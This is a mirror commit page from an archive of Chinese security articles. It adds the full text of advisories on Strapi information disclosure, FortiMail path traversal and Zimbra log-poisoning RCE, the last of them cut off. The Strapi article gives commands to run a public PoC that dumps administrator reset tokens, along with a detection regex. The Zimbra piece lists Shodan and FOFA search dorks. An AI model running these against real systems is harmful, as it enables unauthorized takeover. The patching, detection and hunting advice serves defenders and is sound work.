mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-24 08:54:27 +00:00
正在获取URL...
chainreactors: 0 个URL BruceFeIix: 0 个URL Doonsec: 27 个URL 总共去重后: 27 个URL 一行注释骗过25年模板引擎：Smarty缓存投毒RCE深度复现（CVE-2026-82531，附PoC）、【安全资讯】Pwn2Own Ireland 2026 落幕：漏洞碰撞频发、(7.5分) CVE-2023-22894：Strapi敏感信息泄露、CVE-2026-104286｜FortiMail 未认证路径穿越漏洞，已在野利用！CVSS 9.8、赛博安全狗：微软合作伙伴中心存在权限提升漏洞 (10.09)、博硕BGM RESTFulServiceForWeb.asmx 敏感信息泄露漏洞、IBM 修补 23 个 DataPower Gateway 漏洞，其中包括四个严重的远程代码执行和 XSS 漏洞、Pwn2Own 32个零日漏洞被披露，奖金突破38万美元、【安全速报】10月9日高危漏洞紧急预警、【已复现】CVE-2026-104286 FortiMail 未授权任意文件写入漏洞、【高危漏洞预警】Atlassian Data Center未认证任意文件读取漏洞CVE-2026-21589、WebSocket 协议漏洞 Part-3：明文通信、XSS 与服务端注入、红帽 OpenShift 漏洞允许攻击者绕过 PGP 检查并推送恶意版本、【原创发现】Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞(CVE-2026-106446)安全风险通告、【热点安全风险】10月9日｜Cisco Catalyst SD-WAN Manager 认证绕过遭在野利用 ，攻击者可取得管理员权限（CVE-2026-76504）、Mass Assignment 批量赋值漏洞：把普通用户悄悄升成管理员、CVE-2026-73570：Zimbra 未授权命令注入漏洞分析—SMTP 日志投毒实现 RCE、Linux内核本地提权四重奏曝光：四个致命漏洞与公开PoC、
This commit is contained in:
test committed
1 parent
d9bb07192d
commit
ecebd00f7c
19 files changed
+3479
-1
No files matched your search
@@ -27427,5 +27427,23 @@
|
||||
"https://mp.weixin.qq.com/s/LzMd-dkN9hPacFDZujpbKw": "大模型是怎么被攻破的？七类主流攻击手法与本地复现",
|
||||
"https://mp.weixin.qq.com/s/NtBIx7qfxUazwAV_TD1hhA": "赛博安全狗：Vault ACL策略评估漏洞可能绕过拒绝访问限制 (10.08)",
|
||||
"https://mp.weixin.qq.com/s/xrYVYfy9fbYKeyAf96YFhg": "RMI反序列化：你必须知道的3个攻击面（附实测复现）",
|
||||
"https://mp.weixin.qq.com/s/Q34tmxXv697P8M1uhb_9Kw": "【漏洞通告】cjose JWE全零密钥漏洞(CVE-2026-53939)"
|
||||
"https://mp.weixin.qq.com/s/Q34tmxXv697P8M1uhb_9Kw": "【漏洞通告】cjose JWE全零密钥漏洞(CVE-2026-53939)",
|
||||
"https://mp.weixin.qq.com/s/9qtRJR0cXAeJKnqGkdXfLw": "一行注释骗过25年模板引擎：Smarty缓存投毒RCE深度复现（CVE-2026-82531，附PoC）",
|
||||
"https://mp.weixin.qq.com/s/5NfcQt1ci6SBB984Cqxg-w": "【安全资讯】Pwn2Own Ireland 2026 落幕：漏洞碰撞频发",
|
||||
"https://mp.weixin.qq.com/s/0-15fu9IpDKinvO3Tv02XA": "(7.5分) CVE-2023-22894：Strapi敏感信息泄露",
|
||||
"https://mp.weixin.qq.com/s/hAMjapI3MhVBU1H6Pz8soA": "CVE-2026-104286｜FortiMail 未认证路径穿越漏洞，已在野利用！CVSS 9.8",
|
||||
"https://mp.weixin.qq.com/s/gsjO62i9hB6cyjBt949pAA": "赛博安全狗：微软合作伙伴中心存在权限提升漏洞 (10.09)",
|
||||
"https://mp.weixin.qq.com/s/kI4gUK_PA0f5-87nW4O39A": "博硕BGM RESTFulServiceForWeb.asmx 敏感信息泄露漏洞",
|
||||
"https://mp.weixin.qq.com/s/6LgpAnlBD-dJO3ulzj3K2w": "IBM 修补 23 个 DataPower Gateway 漏洞，其中包括四个严重的远程代码执行和 XSS 漏洞",
|
||||
"https://mp.weixin.qq.com/s/uN_F-UB0In1w5S0tA8rGVw": "Pwn2Own 32个零日漏洞被披露，奖金突破38万美元",
|
||||
"https://mp.weixin.qq.com/s/6-niVXasU69j-ty5nSL-Kw": "【安全速报】10月9日高危漏洞紧急预警",
|
||||
"https://mp.weixin.qq.com/s/4T5XYmyNE6R6H8d62F_MdA": "【已复现】CVE-2026-104286 FortiMail 未授权任意文件写入漏洞",
|
||||
"https://mp.weixin.qq.com/s/dN43midSAeaZtRLO9hWQtg": "【高危漏洞预警】Atlassian Data Center未认证任意文件读取漏洞CVE-2026-21589",
|
||||
"https://mp.weixin.qq.com/s/nN728_XHVFbKbv-EkXE0pQ": "WebSocket 协议漏洞 Part-3：明文通信、XSS 与服务端注入",
|
||||
"https://mp.weixin.qq.com/s/NsEvJLds12dR901y03bAVg": "红帽 OpenShift 漏洞允许攻击者绕过 PGP 检查并推送恶意版本",
|
||||
"https://mp.weixin.qq.com/s/-_SdemIxnelxKEmzfW4Mtw": "【原创发现】Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞(CVE-2026-106446)安全风险通告",
|
||||
"https://mp.weixin.qq.com/s/7B2mTubNYV6v7BuPiaPNYw": "【热点安全风险】10月9日｜Cisco Catalyst SD-WAN Manager 认证绕过遭在野利用 ，攻击者可取得管理员权限（CVE-2026-76504）",
|
||||
"https://mp.weixin.qq.com/s/FW5X-aL-m_naKJMreFrUZg": "Mass Assignment 批量赋值漏洞：把普通用户悄悄升成管理员",
|
||||
"https://mp.weixin.qq.com/s/-trc-6IGFbK_jA4UMxoLkw": "CVE-2026-73570：Zimbra 未授权命令注入漏洞分析—SMTP 日志投毒实现 RCE",
|
||||
"https://mp.weixin.qq.com/s/lSgklHZI647ZIiqVrU3QGA": "Linux内核本地提权四重奏曝光：四个致命漏洞与公开PoC"
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
# (7.5分) CVE-2023-22894：Strapi敏感信息泄露
|
||||
红队安全圈
|
||||
红队安全圈 红队安全圈 2026-10-09 00:00
|
||||
|
||||
Strapi 老洞进 CISA KEV：无需认证，靠查询过滤器逐位猜出管理员密码哈希和重置令牌，接管后台。
|
||||
|
||||
Strapi 被重新盯上了。CISA 已知被利用漏洞目录新增 CVE-2023-22894——这个 2023 年 4 月就修复的老洞，最近被证实有未认证利用链在实战中出现。开源无头 CMS Strapi 4.8.0 之前版本都受影响，攻击者可通过查询过滤器逐步猜出管理员密码哈希和重置令牌，直接接管后台。更要命的是它能和 CVE-2023-22621 串成无认证 RCE。用 Strapi 的站点这两天值得自查一遍。
|
||||
|
||||
## 01 漏洞速览
|
||||
|
||||
漏洞编号
|
||||
CVE-2023-22894
|
||||
|
||||
影响产品
|
||||
Strapi（@strapi/strapi）
|
||||
|
||||
受影响版本
|
||||
3.2.1 ≤ 版本 < 4.8.0
|
||||
|
||||
漏洞类型
|
||||
信息泄露（CWE-200）
|
||||
|
||||
危害等级
|
||||
Snyk 7.5 高危 / NVD 4.9
|
||||
|
||||
是否在野
|
||||
是，已入 CISA KEV
|
||||
|
||||
公开 PoC
|
||||
有（GitHub）
|
||||
|
||||
## 02 漏洞成因
|
||||
|
||||
Strapi 的 REST API 支持强大的查询过滤语法，客户端可以在请求参数里对任意字段做条件过滤。问题在于过滤机制没有对私有字段做防护——
|
||||
password、
|
||||
reset_password_token、
|
||||
email 这类敏感列照样能被写进过滤条件。
|
||||
|
||||
API 响应本身不会直接返回密码字段，但过滤器变成了一个"是/否"判定器：过滤命中返回结果，不命中返回空。攻击者逐字符构造过滤条件（比如"password 以 a 开头且第二位是 b"），看响应有没有数据，就能一位一位把敏感值完整推演出来。本质是过滤器把私密数据变成了可枚举的侧信道。
|
||||
|
||||
## 03 影响范围
|
||||
|
||||
受影响：Strapi 3.2.1 及以上、4.8.0 之前所有版本。已修复：4.8.0，补丁对查询过滤做了敏感字段净化。
|
||||
|
||||
注意：部分受影响的老版本已停止维护（EOL/EoS），没有补丁可打，建议直接迁移到受支持的版本。
|
||||
|
||||
## 04 利用分析
|
||||
|
||||
GitHub 上有现成 PoC（Saboor-Hakimi/CVE-2023-22894），核心思路：不认证直接利用，需要一个与 User 有关系的公开端点，通过过滤逐位拖出敏感信息，配合 -d true 参数可直接 dump 管理员密码重置令牌。
|
||||
|
||||
准备环境：
|
||||
|
||||
git clone https://github.com/
|
||||
|
||||
Saboor-Hakimi/CVE-2023-22894
|
||||
|
||||
cd CVE-2023-22894
|
||||
|
||||
pip install requests
|
||||
|
||||
执行利用：
|
||||
|
||||
python3 dump-authless.py \
|
||||
|
||||
-u http://example.com \
|
||||
|
||||
-e /api/articles -d true
|
||||
|
||||
利用效果：拿到目标 Strapi 管理员的重置令牌，请求重置密码即可接管后台。链条再往前一步，配合 CVE-2023-22621 可以打成未认证 RCE。前提条件是目标存在一个和 User 表有关联的公开内容端点（文章、评论这类很常见），实战中大多能找到。
|
||||
|
||||
## 05 检测与排查
|
||||
|
||||
利用载荷全在 GET 参数里，请求日志里就能看到。直接在 Nginx/WAF 日志里按下面模式匹配，命中即说明被探测过：
|
||||
|
||||
/([|%5B)\s*(email|password|
|
||||
|
||||
reset_password_token|
|
||||
|
||||
resetPasswordToken)\s*(]|%5D)/
|
||||
|
||||
主动排查版本：项目目录下跑
|
||||
npm ls @strapi/strapi，低于 4.8.0 就要处理。
|
||||
|
||||
## 06 修复建议
|
||||
|
||||
升级到 Strapi 4.8.0 或更高版本，这是唯一根治方案。临时缓解可在 WAF/反代上拦掉含 password、reset_password_token 等字样的查询参数。已 EOL 的旧版本别再续命，直接迁移。同时检查管理员账号有无异常重置记录。
|
||||
|
||||
## 07 红队视角
|
||||
|
||||
这个洞单看 CVSS（NVD 只给了 4.9 中危）很容易被忽视，但实战价值相当高：无认证、全自动化、PoC 现成，信息泄露直通账号接管。对 Strapi 站点，攻击路径基本是"发现公开端点，跑 PoC dump 令牌，接管后台"。如果目标还是旧版，再用 CVE-2023-22621 收尾就是 RCE，从边界一站打到服务器。
|
||||
|
||||
给蓝队的提醒：NVD 的 4.9 分严重低估了这个洞的实际风险，已进 KEV 就是明证。资产清点时把 Strapi 版本列进排查清单，别让 4.8.0 之前的实例挂在公网。
|
||||
|
||||
## 08 POC 链接
|
||||
|
||||
https://github.com/Saboor-Hakimi/
|
||||
|
||||
CVE-2023-22894
|
||||
|
||||
说明：GitHub PoC 仓库，Python 脚本，未认证利用，可 dump 管理员重置令牌。仅供安全研究与授权测试使用。
|
||||
|
||||
|
||||
如果文章对您有收获，欢迎**关注**
|
||||
、点赞、推荐、转发。
|
||||
|
||||
— END —
|
||||
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# CVE-2026-104286｜FortiMail 未认证路径穿越漏洞，已在野利用！CVSS 9.8
|
||||
原创 维度攻防
|
||||
维度攻防 维度攻防 2026-10-09 02:51
|
||||
|
||||
> 摘要：Fortinet FortiMail 邮件安全网关爆出严重路径穿越漏洞 CVE-2026-104286，**无需身份认证**
|
||||
，攻击者构造特殊 HTTP 请求即可向服务器写入任意文件，实现系统接管。目前漏洞已出现在野攻击行为，使用受影响版本的政企单位请立即排查并落实缓解措施。
|
||||
|
||||
## 一、漏洞基本信息
|
||||
- **漏洞编号**
|
||||
：CVE-2026-104286
|
||||
|
||||
- **漏洞厂商**
|
||||
：Fortinet
|
||||
|
||||
- **影响产品**
|
||||
：FortiMail 邮件安全网关
|
||||
|
||||
- **漏洞类型**
|
||||
：路径穿越（CWE-22）+ 空字节处理缺陷（CWE-158）
|
||||
|
||||
- **CVSS 评分**
|
||||
：9.8（Critical 严重）
|
||||
|
||||
- **漏洞状态**
|
||||
：✅ 已披露、🔥 在野利用
|
||||
|
||||
- **厂商公告**
|
||||
：FG-IR-26-175NVD
|
||||
|
||||
**受影响版本清单**
|
||||
- FortiMail 8.0.0 ~ 8.0.1
|
||||
|
||||
- FortiMail 7.6.0 ~ 7.6.6
|
||||
|
||||
- FortiMail 7.4.0 ~ 7.4.8
|
||||
|
||||
- FortiMail 7.2.0 ~ 7.2.9Cyber Secu...
|
||||
|
||||
> 修复版本：7.4.9、7.6.7、8.0.2 及更高版本
|
||||
|
||||
## 二、漏洞原理
|
||||
|
||||
该漏洞存在于 FortiMail 的 Webmail IBE 接口，由两个缺陷叠加导致：
|
||||
1. **路径穿越（CWE-22）**
|
||||
：程序对用户传入的文件路径校验不严，攻击者可构造路径字符，跳出限定目录。
|
||||
|
||||
1. **空字节截断缺陷（CWE-158）**
|
||||
：系统在处理文件名空字节时提前截断校验逻辑，绕过目录限制。
|
||||
|
||||
两者组合后，**未认证攻击者仅需发送特制 HTTP/HTTPS 请求，无需账号密码，就能在目标服务器写入任意文件**
|
||||
。写入后门、恶意 so 库、修改系统配置文件，最终实现远程代码执行、拿下服务器最高权限，窃取邮件数据、在内网横向移动。
|
||||
## 三、风险危害
|
||||
|
||||
✅ **无认证攻击**
|
||||
：不需要账号密码，只要 Web 管理 / 邮件网关接口暴露在公网，即可发起攻击。 ✅ **任意文件写入**
|
||||
：可写入 webshell、恶意动态链接库，植入持久化后门。 ✅ **业务影响巨大**
|
||||
：FortiMail 多用于政企邮件网关，一旦沦陷，全部邮件数据、内部通信信息面临泄露风险。 ✅ **已观测到在野利用**
|
||||
：境外安全机构监测到真实攻击行为，黑客会植入恶意文件，包括：/data/lib/liblog.so
|
||||
、/data/bin/webconsole
|
||||
、/data/bin/mailservice
|
||||
，修改ld.so.preload
|
||||
、httpd.conf 等文件实现持久化驻留。
|
||||
## 四、应急处置建议
|
||||
### 🔹 优先方案：升级补丁
|
||||
|
||||
尽快将 FortiMail 升级至对应修复版本：
|
||||
- 7.4 分支 → 7.4.9
|
||||
|
||||
- 7.6 分支 → 7.6.7
|
||||
|
||||
- 8.0 分支 → 8.0.2+
|
||||
|
||||
### 🔹 临时缓解措施（补丁无法立即升级时）
|
||||
1. **网络层面**
|
||||
：限制 FortiMail Web 管理端口（HTTPS）访问源，仅信任内网 IP，禁止公网直接访问管理 / IBE 接口。
|
||||
|
||||
1. **WAF 防护**
|
||||
：在前端 WAF 增加路径穿越特征规则，拦截包含../
|
||||
、空字节等恶意字符的请求。
|
||||
|
||||
1. **主机巡检**
|
||||
：
|
||||
|
||||
1. 核查上述可疑文件是否存在；
|
||||
|
||||
1. 检查ld.so.preload
|
||||
、httpd.conf 是否被篡改；
|
||||
|
||||
1. 审计系统新增账号、定时任务、异常进程。
|
||||
|
||||
1. **日志审计**
|
||||
：重点检查 Web 访问日志，寻找异常 POST 请求、异常文件上传 / 写入行为。
|
||||
|
||||
### 🔹 事后排查
|
||||
|
||||
如果设备曾经暴露公网，建议做完整应急响应：镜像取证、恶意文件查杀、账号密码重置、评估邮件数据是否被窃取。
|
||||
## 五、自查命令参考
|
||||
> 登录 FortiMail 后台 / 系统 shell，检查可疑文件：
|
||||
|
||||
```
|
||||
ls -l /data/lib/liblog.so
|
||||
ls -l /data/bin/webconsole
|
||||
ls -l /data/bin/mailservice
|
||||
cat /data/etc/ld.so.preload
|
||||
```
|
||||
|
||||
发现上述文件非运维主动部署，大概率已被入侵。
|
||||
## 六、总结
|
||||
|
||||
CVE-2026-104286 属于高危无认证 RCE 前置漏洞，**任意文件写入**
|
||||
是攻防中杀伤力极强的一类漏洞。很多单位把邮件网关放在公网边界，一旦被拿下，直接成为内网入口。
|
||||
> ⚠️ 提醒：邮件安全网关是企业数字通信的核心节点，不要等到被入侵才想起加固。请管理员第一时间清点资产，确认是否存在 FortiMail 设备，完成版本核验。
|
||||
|
||||
## POC 链接
|
||||
|
||||
暂无公开 PoC，以下为官方通告地址：
|
||||
|
||||
https://fortiguard.fortinet.com/psirt/FG-IR-26-175
|
||||
|
||||
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
|
||||
|
||||
|
||||
@@ -0,0 +1,843 @@
|
||||
# CVE-2026-73570：Zimbra 未授权命令注入漏洞分析—SMTP 日志投毒实现 RCE
|
||||
原创 MY0723
|
||||
MY0723 不秃头的安全 2026-10-09 02:35
|
||||
|
||||
# CVE-2026-73570：Zimbra 未授权命令注入漏洞深度分析——SMTP 日志投毒实现 RCE
|
||||
```
|
||||
前言：本文中涉及到的相关技术或工具仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担，如有侵权请私聊删除。
|
||||
知识星球和交流群在最下方。
|
||||
需要cnvd（中高）/c2nd（高与支撑单位）/安全证书请联系vx咨询
|
||||
```
|
||||
|
||||
|
||||
一、漏洞概述
|
||||
|
||||
2026 年 7 月，Zimbra 官方发布 10.1.20 版本修复了一处 OS 命令注入漏洞，编号 **CVE-2026-73570**
|
||||
。随后 CERT Polska 证实该漏洞**已在野外被积极利用**
|
||||
，CISA 亦于 2026 年 8 月 21 日将其收录进**已知被利用漏洞目录（KEV）。**
|
||||
|
||||
Zimbra Collaboration Suite（ZCS）是全球广泛部署的开源邮件与协作平台，集邮件、日历、联系人于一体，大量企业、政府机构和 ISP 的邮件基础设施运行其上。邮件服务器天然承载着一个组织最敏感的通信数据，这类漏洞的杀伤力不言而喻。
|
||||
|
||||
该漏洞的利用方式颇为"迂回"却极其致命：攻击者**无需任何认证**
|
||||
，只需向邮件服务器的 SMTP 端口发送一个精心构造的"收件人地址"，就能把恶意命令"写"进 Zimbra 的日志文件；日志监控服务 swatchdog 匹配到这条伪造记录后，把其中未经净化的内容交给 SNMP 通知程序 zmsnmptrapd，后者使用 Perl 反引号操作符将其拼接执行——**攻击者全程没有碰任何账号，命令却被服务器自己"接力"执行了**
|
||||
。
|
||||
|
||||
<table><thead><tr style="border-top: none;background-color: #FFFFFF;"><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">属性</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">信息</span></section></th></tr></thead><tbody><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">漏洞类型</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">OS 命令注入（CWE-78）→ 未授权 RCE</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CVE编号</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CVE-2026-73570</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CVSS评分</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><strong style="color: #0A0A0A;font-weight: 700;"><span leaf="">8.9/10（High）</span></strong></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CVSS向量</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">影响产品</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">Zimbra Collaboration Suite (ZCS)</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">影响版本</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none Line truncated
|
||||
|
||||
1.1 一句话理解漏洞
|
||||
> 攻击者通过 SMTP 的收件人地址字段（RCPT TO）向 Zimbra 日志注入一条伪造的"服务状态变更"记录，日志监控服务 swatchdog 匹配到该记录后，将其中未经净化的内容传递给 SNMP 通知程序 zmsnmptrapd 执行——全程无需认证，最终以 zimbra 用户身份执行任意系统命令。
|
||||
|
||||
### 1.2 事件时间线
|
||||
|
||||
<table><thead><tr style="border-top: none;background-color: #FFFFFF;"><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">时间</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">2026-07-20</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">Zimbra 发布 10.1.20，修复该漏洞</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">2026 年夏</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CERT Polska 发布公告（2026/145），确认在野利用</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">2026-08-21</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">CISA 将 CVE-2026-73570 列入 KEV 目录</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">2026-09-30</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">安全研究员 0xBlackash 公开 Perl 版利用 PoC</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">持续</span></section></td><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">nuclei 官方模板库合入检测模板，可批量验证</span></section></td></tr></tbody></table>
|
||||
|
||||
**Shodan**
|
||||
：
|
||||
```
|
||||
http.title:
|
||||
"Zimbra Web Client Sign In"
|
||||
http.title:
|
||||
"Zimbra Collaboration Suite"
|
||||
http.html:
|
||||
"Zimbra Collaboration Suite Web Client"
|
||||
```
|
||||
|
||||
**FOFA**
|
||||
：
|
||||
```
|
||||
title=
|
||||
"zimbra web client sign in"
|
||||
title=
|
||||
"zimbra collaboration suite"
|
||||
app=
|
||||
"Zimbra-Collaboration-Suite"
|
||||
```
|
||||
## 二、漏洞原理
|
||||
### 2.1 涉及组件
|
||||
|
||||
理解这个漏洞，需要先认识 Zimbra 中三个"配角"组件——正是它们的组合构成了完整的攻击链：
|
||||
|
||||
<table><thead><tr style="border-top: none;background-color: #FFFFFF;"><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">组件</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">角色</span></section></th></tr></thead><tbody><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">zimbra-snmp</span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">可选安装包，为 Zimbra 提供 SNMP 监控与通知能力</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">swatchdog</span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">日志监控服务（基于 Swatch），持续监视 </span><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">/var/log/zimbra.log</span></code><span leaf=""> 中的服务状态变化，</span><strong style="color: #0A0A0A;font-weight: 700;"><span leaf="">默认启用</span></strong></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">zmsnmptrapd</span></code></td><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">SNMP 通知/陷阱处理程序，负责将"服务状态变更"以 SNMP trap 形式发出，内部使用 </span><strong style="color: #0A0A0A;font-weight: 700;"><span leaf="">Perl 反引号操作符</span></strong><span leaf="">调用系统命令</span></section></td></tr></tbody></table>
|
||||
|
||||
2.2 根本原因：跨组件信任链断裂
|
||||
|
||||
这是一类典型的**日志投毒（Log Poisoning）→ 监控组件代为执行**
|
||||
漏洞，攻击链上三个环节逐层失守：
|
||||
|
||||
